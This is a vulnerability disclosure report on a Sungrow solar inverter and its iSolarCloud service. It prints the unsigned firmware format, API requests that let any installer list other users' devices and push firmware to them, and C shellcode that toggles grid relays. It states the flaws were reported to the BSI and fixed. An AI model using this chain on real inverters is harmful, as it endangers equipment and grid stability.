In this report a security analysis of a Sungrow solar inverter system and its associated cloud is presented. Different vulnerabilities are described:
[!NOTE] Vulnerabilities have been fixed
TOE
API encryption / obfuscation
Firmware update image composition
Firmware Update
Proof of Concept
Exploitation
Disclosure
The TOE consists in a Sungrow Inverter SG4.0RS
with a connectivity device WiNet-S
connected to the manufacturer’s cloud called isolarcloud (EU server).
Versions of the components:
Here is a simple block diagram of the system:
A DC/DC converter followed by a H bridge converts the solar electrical energy into grid compatible energy.
Different updatable microcontrollers are implemented:
Power electronics and relays are controlled by the DSPs.
As an example, here are some pins of the MDSP used to switch the power electronics:
Here is a picture of the DSP board with MDSP and SDSP - with added JTAG cable (no JTAG protection was in place):
The cloud client (app or web) used by device’s owners communicates with the cloud server via HTTP APIs over TLS (HTTPS). First an authentication procedure with user name and password is performed. A session token is then generated and used for all following API calls, with following format: [user_id]_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
.
user_id
is an integer incremented for each new user registered on the platform (more than 350000 in the EU server at the time this report is written).xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
is a 128 bit value in hex stream format.Communication between client and cloud server is protected by TLS. On top of TLS, the manufacturer has implemented an own encryption mechanism: HTTP content is encrypted with AES128 in ECB mode and PKCS7 padding. An ephemeral AES key is generated on the client side for each API call. This key is encrypted with RSA (1024 bit, PKCS1.5) and transmitted via an HTTP header called x-random-secret-key
.
Additionally, the user_id is encrypted with RSA (1024 bit, PKCS1.5, same public key) and transmitted via an HTTP header called x-limit-obj
.
The (plain) content of the API calls must contain following information:
{
"api_key_param": {
"timestamp": 1600000000000,
"nonce": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
},
"appkey": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
"token": "xxxxxx_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
}
token
: the token obtained after authentication, including the user id.timestamp
: actual unix time in ms (calls that are too old are rejected)nonce
: a 128 bit value in hex stream format, which must be changed after each call, otherwise the call is rejected.appkey
: constantNote that the server also implements an API call rate limitation per user. The API obfuscation issue has been already discussed here.
Firmware images can be downloaded from this github server.
Compressed images are encrypted with AES128 in ECB mode. The key is hard coded in the manufacturer’s app code.
After decryption, a valid zip format is recognized. The zip container can be decompressed and some sgu
files are generated. Here is an example of file list from SUNSTONE-S_B000.V001.P022-20230509.zip
:
AFCI_06002.01.06.sgu
datetime
SUNSTONE-S_01011.01.35.sgu
SUNSTONE-S_03011.01.19.sgu
Version instruction.xlsx
Version instruction.xml
The Version instruction.xml
contains the update sequence for the different components. In this particular device, following components can be updated:
sgu
files have following format:
header_1
in this report.header_1
format:
header_2
, located in byte 26 to 29 (4 bytes, LSB first). This is the length of the second header. header_2
is encrypted and part of the sgu
content.header_2
in decrypted form.sgu
content w/o header_2
.Here is an example of header_1
:
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000 53 75 6E 67 72 6F 77 00 0D 0A 49 41 50 00 00 00 Sungrow...IAP...
00000010 00 00 0D 0A 32 2E 30 00 0D 0A A0 00 00 00 0D 0A ....2.0... .....
00000020 75 AB 24 BF 0D 0A A6 2D 21 34 0D 0A 00 00 00 00 u«$¿..¦-!4......
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
header_2
length is 160 bytes (0xA0)75 AB 24 BF
A6 2D 21 34
Here is an example of decrypted header_2
:
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000040 5B 44 45 56 5D 0D 0A 4D 4F 44 3D 41 47 41 54 45 [DEV]..MOD=AGATE
00000050 2D 53 0D 0A 44 56 45 52 3D 56 31 31 0D 0A 48 56 -S..DVER=V11..HV
00000060 45 52 3D 56 31 31 0D 0A 5B 50 43 42 31 5D 0D 0A ER=V11..[PCB1]..
00000070 50 4E 3D 31 0D 0A 50 42 4E 4F 3D 50 2D 41 2D 30 PN=1..PBNO=P-A-0
00000080 30 30 30 30 31 0D 0A 50 42 4F 4D 3D 32 30 31 33 00001..PBOM=2013
00000090 30 31 30 37 0D 0A 50 42 53 4E 3D 0D 0A 5B 4D 43 0107..PBSN=..[MC
000000A0 55 31 5D 0D 0A 43 48 49 50 3D 54 4D 53 33 32 30 U1]..CHIP=TMS320
000000B0 46 32 38 33 37 37 0D 0A 4F 53 3D 0D 0A 41 50 50 F28377..OS=..APP
000000C0 3D 53 55 4E 53 54 4F 4E 45 2D 53 5F 30 33 30 31 =SUNSTONE-S_0301
000000D0 31 2E 30 31 2E 31 39 00 00 00 00 00 00 00 00 00 1.01.19.........
After header_2
, a third header called here header_3
can be found with a length of 79 bytes (ends with CODE=
):
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
000000E0 5B 50 43 42 31 5D 0D 0A 5B 4D 43 55 31 5D 0D 0A [PCB1]..[MCU1]..
000000F0 4F 53 0D 0A 43 52 43 3D 0D 0A 4C 45 4E 3D 0D 0A OS..CRC=..LEN=..
00000100 43 4F 44 45 3D 0D 0A 41 50 50 0D 0A 43 52 43 3D CODE=..APP..CRC=
00000110 34 41 20 39 45 20 35 36 20 41 32 20 0D 0A 4C 45 4A 9E 56 A2 ..LE
00000120 4E 3D 32 37 30 33 33 36 0D 0A 43 4F 44 45 3D N=270336..CODE=
This header contains a length field and a CRC field (both UTF-8 encoded). The CRC (called CRC32_3 here) is calculated on the data placed just after header_3
with a length found in the LEN
field (here 270336 bytes length / integer; CRC32_3 = 4A 9E 56 A2
). Note that a padding with 0xFF
is added at the end of the decrypted sgu
file to align the size to 128 bits (AES block length).
Knowing all this information, it is possible to craft a valid firmware update image with a manipulated firmware. No asymmetric signature has been found in the update image.
Improper authorization enabled an attacker to get information related to any registered user: number of inverters, inverter types, and more important: inverter uuid
.
Here is the API call endpoint:
https://gateway.isolarcloud.eu/v1/devService/getRemoteUpgradeDeviceList
Here is the plain content of the call:
{
"sys_code": 0,
"psIds": "",
"device_type": 1,
"device_model_id": "",
"device_sn": "",
"user_id": [targeted_user_id],
"ps_id_list": [],
"sn_list": [],
"uuid_list": [],
"curPage": 1,
"size": 10,
"service": "getRemoteUpgradeDeviceList",
"api_key_param": {
"timestamp": [timestamp],
"nonce": "[NONCE]"
},
"appkey": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
"_vc": "XXXXXXXXXX",
"token": "[VALID_TOKEN]"
}
Note that the targeted_user_id
(integer) can be different from the user id associated with the token.
Here is an example of plain response (json list, truncated):
[
{
"logger_code": 247,
"is_enable": 1,
"firmware_version_info": {
"mdsp_version": "EMERALD-S_03011.01.09",
"lcd_version": "EMERALD-S_01011.01.08",
"afci_version": "AFCI_06002.02.07"
},
"is_haveversion": 1,
"device_type": 1,
"uuid": xxxxxx,
"afci_version": "AFCI_06002.02.07",
"sdsp_version": null,
"battery_version": null,
"communication_dev_sn": "Bxxxxxxxxxx",
"temp_version": null,
"pvd_version": null,
"mdsp_version": "EMERALD-S_03011.01.09",
"chnnl_id": 1,
"ps_name": "Sxxxxxxxxxxxxxxxxxx",
"grid_type_id": 0,
"mcu_version": null,
"m_version": null,
"ps_id": xxxxxxx,
"device_code": 1,
"country_id": 1,
"communication_dev_uuid": xxxxxx,
"cpld_version": null,
"device_model": "SG50CX-P2",
"lcd_version": "EMERALD-S_01011.01.08",
"data_flag_detail": 1813,
"bat_version": null,
"upgrade_version": null,
"device_name": "Inverter2",
"device_area": "Grid-connected point 1_1#unit",
"device_model_id": xxxxxx,
"version12": null,
"version11": null,
"sn": "Bxxxxxxxxxx",
"device_sn": "Axxxxxxxxxx",
"dev_status": 1,
"arm_version": null,
"ps_short_name": "Bxxxxxxxxxx",
"communication_model": 1361
},
{
"logger_code": 247,
"is_enable": 1,
"firmware_version_info": {
"sdsp_version": "SUBCTL-S_04011.01.01",
"mdsp_version": "BERYL-S_03011.01.64",
"lcd_version": "BERYL-S_01011.01.32",
"afci_version": "AFD_06001.02.03"
},
"is_haveversion": 1,
"device_type": 1,
"uuid": xxxxxxx,
"afci_version": "AFD_06001.02.03",
"sdsp_version": "SUBCTL-S_04011.01.01",
"battery_version": null,
"communication_dev_sn": "Bxxxxxxxxxx",
"temp_version": null,
"pvd_version": null,
"mdsp_version": "BERYL-S_03011.01.64",
"chnnl_id": 2,
"ps_name": "Sxxxxxxxxxxxxxxxxxx",
"grid_type_id": 0,
"mcu_version": null,
"m_version": null,
"ps_id": xxxxxxx,
"device_code": 1,
"country_id": 1,
"communication_dev_uuid": xxxxxx,
"cpld_version": null,
"device_model": "SG12RT",
"lcd_version": "BERYL-S_01011.01.32",
"data_flag_detail": 1813,
"bat_version": null,
"upgrade_version": null,
"device_name": "Inverter1",
"device_area": "Grid-connected point 1_2#unit",
"version10": null,
"system_version": null,
"device_model_id": 743,
"version12": null,
"version11": null,
"sn": "Bxxxxxxxxxx",
"device_sn": "Axxxxxxxxxx",
"dev_status": 1,
"arm_version": null,
"version4": "AFD_06001.02.03",
"ps_short_name": "Bxxxxxxxxxx",
"communication_model": 1361
}
]
This information could be used to remotely update inverters.
A firmware update could be triggered from the cloud. Multiple devices could be updated with only one API call (a json list of uuid
is used).
First a valid firmware update image could be uploaded to the update server (how to craft a valid, manipulated image has been described before). Then a command is sent to the server to update the devices.
Note that only the uuid
of the devices was needed (how to get the uuid has be described before), any authenticated installer (i.e. anybody) could update any connected device.
Here is the API sequence:
https://gateway.isolarcloud.eu/v1/commonService/getOSSConfig
(POST
, headers as described previously){
"service": "getOSSConfig",
"sys_code": 200,
"api_key_param": {
"timestamp": 1600000000000,
"nonce": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
},
"appkey": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
"_vc": "XXXXXXXXXX",
"token": "xxxxxx_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
}
{
"req_serial_num":"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"result_code":"1",
"result_msg":"success",
"result_data":{
"oss_file_url":"https://file.isolarcloud.eu/",
"accessid":"xxxxxxxxxxxxxxxxxxxxxxxx",
"policy":"",
"signature":"xxxxxxxxxxxxxxxxxxxxxxxx=",
"is_private_cloud":"0",
"sgu_zip_dir":"sgu_zip/",
"dir":"sgu_zip/",
"host":"https://isc-file-du.oss-eu-central-1.aliyuncs.com",
"expire":"30"
}
}
TEST.zip
):
https://isc-file-du.oss-eu-central-1.aliyuncs.com/
(POST
with multipart/form-data
)Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxxx
------WebKitFormBoundaryxxx
Content-Disposition: form-data; name="name"
TEST.zip
------WebKitFormBoundaryxxx
Content-Disposition: form-data; name="key"
sgu_zip/000000000000000000000-TEST.zip
------WebKitFormBoundaryxxx
Content-Disposition: form-data; name="policy"
------WebKitFormBoundaryxxx
Content-Disposition: form-data; name="OSSAccessKeyId"
xxxxxxxxxxxxxxxxxxxxxxxx
------WebKitFormBoundaryxxx
Content-Disposition: form-data; name="success_action_status"
200
------WebKitFormBoundaryxxx
Content-Disposition: form-data; name="signature"
xxxxxxxxxxxxxxxxxxxxxxxx=
------WebKitFormBoundaryxxx
Content-Disposition: form-data; name="file"; filename="TEST.zip"
Content-Type: application/x-zip-compressed
[UPDATE FILE BINARY HERE]
------WebKitFormBoundaryxxx--
https://gateway.isolarcloud.eu/v1/devService/dealRemoteUpgrade
(POST
, headers as described previously){
"uuid_list": [0000000],
"device_model_id": 227702,
"device_type": 1,
"remote_type": 1,
"file_key": "sgu_zip/000000000000000000000-TEST.zip",
"target_version": "TEST",
"op_type": 1,
"sys_code": 200,
"api_key_param": {
"timestamp": 1600000000000,
"nonce": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
},
"appkey": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
"_vc": "XXXXXXXXXX",
"token": "xxxxxx_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"lang": "_en_US"
}
{
"req_serial_num":"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"result_code":"1",
"result_msg":"success",
"result_data":{
"communication_module_sn_is_null_sn_list":[],
"module_num_not_match_sgu_num_dev_list":[],
"same_software_version_dev_sn_list":[],
"communication_module_sn_is_null_uuid_list":[],
"task_id":null,
"no_available_sgu_file_dev_uuid_list":[],
"not_conform_upgrade_strategy_sn_list":[],
"hardware_version_not_match_dev_list":[],
"conform_upgrade_strategy_uuid_list":[
"0000000"
],
"code":"1",
"not_support_upgrade_sn_list":[],
"not_support_low_version_upgrade_device_info_map":{},
"same_software_version_dev_uuid_list":[],
"not_conform_upgrade_strategy_uuid_list":[],
"conform_upgrade_strategy_sn_list":[
"A0000000000"
],
"not_support_upgrade_uuid_list":[]
}
}
https://gateway.isolarcloud.eu/v1/devService/dealRemoteUpgrade
(POST
, headers as described previously){
"uuid_list": [0000000],
"device_model_id": 227702,
"device_type": 1,
"remote_type": 1,
"file_key": "sgu_zip/000000000000000000000-TEST.zip",
"target_version": "TEST",
"op_type": 2,
"task_name": "Inverter Remote Update",
"expire_hour": 2,
"expire_second": 7200,
"sys_code": 200,
"api_key_param": {
"timestamp": 1600000000000,
"nonce": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
},
"appkey": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
"_vc": "XXXXXXXXXX",
"token": "xxxxxx_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
}
{
"req_serial_num":"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"result_code":"1",
"result_msg":"success",
"result_data":{
"communication_module_sn_is_null_sn_list":[],
"module_num_not_match_sgu_num_dev_list":[],
"same_software_version_dev_sn_list":[],
"communication_module_sn_is_null_uuid_list":[],
"task_id":"000000",
"no_available_sgu_file_dev_uuid_list":[],
"not_conform_upgrade_strategy_sn_list":[],
"hardware_version_not_match_dev_list":[],
"conform_upgrade_strategy_uuid_list":[
"0000000"
],
"code":"1",
"not_support_upgrade_sn_list":[],
"not_support_low_version_upgrade_device_info_map":{},
"same_software_version_dev_uuid_list":[],
"not_conform_upgrade_strategy_uuid_list":[],
"conform_upgrade_strategy_sn_list":[
"A0000000000"
],
"not_support_upgrade_uuid_list":[]
}
}
Notes:
uuid
of the devices were needed. The server did not check wether the user owns the device.uuid
, so that many devices of the same type could be updated at once.After this API call, the device(s) would automatically get and install the manipulated firmware update image.
As a proof of concept, a manipulated MDSP image has been crafted (based on the original image), which switches the grid protection relays and 2 H-Bridge transistors on and off every few 100 milliseconds.
The original MDSP image - extracted via unprotected JTAG - contains a bootloader (probably not updatable) from address 0x00080000
to 0x00087FFF
and the application from address 0x00088000
to 0x000BFFFF
.
In the original MDSP update image - application part - a branch to the shellcode has been added after initialization, at address 0x0009A242
. The shellcode itself has been placed in some free place in the flash image. Here is the c code used to generate the shellcode:
void dothat()
{
long i;
// disable all IRQ
DINT;
// allow access to system reg
EALLOW;
// switch off watchdog (! bits 5..3 have to be 101 !)
WdRegs.WDCR.all = 0x00EF;
// set GPIO0..5 as GPIO and OUTPUT
GpioCtrlRegs.GPAMUX1.bit.GPIO4 = 0x0000;
GpioCtrlRegs.GPAMUX1.bit.GPIO5 = 0x0000;
GpioCtrlRegs.GPADIR.bit.GPIO4 = 0x1;
GpioCtrlRegs.GPADIR.bit.GPIO5 = 0x1;
// set OE as output, GPIO
GpioCtrlRegs.GPBMUX1.bit.GPIO44 = 0x0000;
GpioCtrlRegs.GPBDIR.bit.GPIO44 = 0x1;
// clear bit == OE active
GpioDataRegs.GPBCLEAR.bit.GPIO44 = 0x1;
// endless loop
while(1)
{
for(i = 0; i < 5000000; i++);
// H T
GpioDataRegs.GPATOGGLE.bit.GPIO4 =0x1;
GpioDataRegs.GPATOGGLE.bit.GPIO5 =0x1;
// relays
GpioDataRegs.GPBTOGGLE.bit.GPIO45 =0x1;
GpioDataRegs.GPCTOGGLE.bit.GPIO73 =0x1;
}
}
A sgu
file called SUNSTONE-S_03011.01.20.sgu
has been built based on the modified binary, with all CRCs recalculated and using encryption as described previously.
A zip
file called POCD.zip
has been generated with following files:
datetime
(not changed)SUNSTONE-S_03011.01.20_DECRYPTED.sgu
Version instruction.xml
with following content:
```xml
<?xml version=’1.0’ encoding=’utf-8’?>
After padding the plain `zip` file with `0x00` (alignment to 128 bits), it has been encrypted as described previously, the result is `POCE.zip`.
### Uploading the manipulated firmware image and updating the inverter
This process could be performed with `curl` as described before or directly via the web cloud access. Here are the steps needed:
1. Create an installer account (can be done by anybody at any time)
2. In the left bar, click on **Firmware Update**
3. By adding a breakpoint in the javascript, it is possible to get the ephemeral AES128 keys used for http content encryption:

Another breakpoint is added before the http request is sent. Thereby the payload can be modified.
The modified payload can be encrypted externally:

The encrypted payload is then injected in the debugger via the console and the request is sent.
4. By modifying the `user_id` in the `getRemoteUpgradeDeviceList` request, any user can be targeted (timestamp and nonce have to be adapted):
```json
{
"sys_code": 0,
"psIds": "",
"device_type": 1,
"device_model_id": "",
"device_sn": "",
"user_id": [targeted_user_id],
"ps_id_list": [],
"sn_list": [],
"uuid_list": [],
"curPage": 1,
"size": 10,
"service": "getRemoteUpgradeDeviceList",
"api_key_param": {
"timestamp": [timestamp],
"nonce": "[NONCE]"
},
"appkey": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
"_vc": "XXXXXXXXXX",
"token": "xxxxxx_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
}
The platform shows the devices associated with the targetted user (not the user logged in!):
POCE.zip
(generated previously) is uploaded:After a few minutes, the inverter began to switch the grid-protection relays on and off.
Here is an oscilloscope picture of the grid side connected to a small signal generator:
This picture proves that every few 100 ms both protection relays and 2 transistors are switched on.
All connected devices could probably be manipulated remotely and synchronously with a mass update command, even probably physically damaged via malicious firmware update. A synchronous manipulation may be problematic for the grid: according to wikipedia, a loss of 3 GW electrical power production within the european grid network would lead to a frequency diminution of 200 mHz and is critical. At the time of this analysis, the sum of all (online) inverter’s nominal power connected to the European server was about 10.070 GW.
Note that the manufacturer provides string inverters up to 350 kW. After analysis of the firmware update images, there is a high probability that these powerful devices could be remotely manipulated too.
Users / plants with more than 100 such inverters have been found in the EU server, here is an example with more than 500 SG250HX (500 times 250 kW nominal inverter power) associated with one user (probably the operator of some solar farms):
2023-12-27: Report disclosed to the BSI
2023-12-27: First answer from BSI
2024-04-21: Vulnerabilities have been fixed by the manufacturer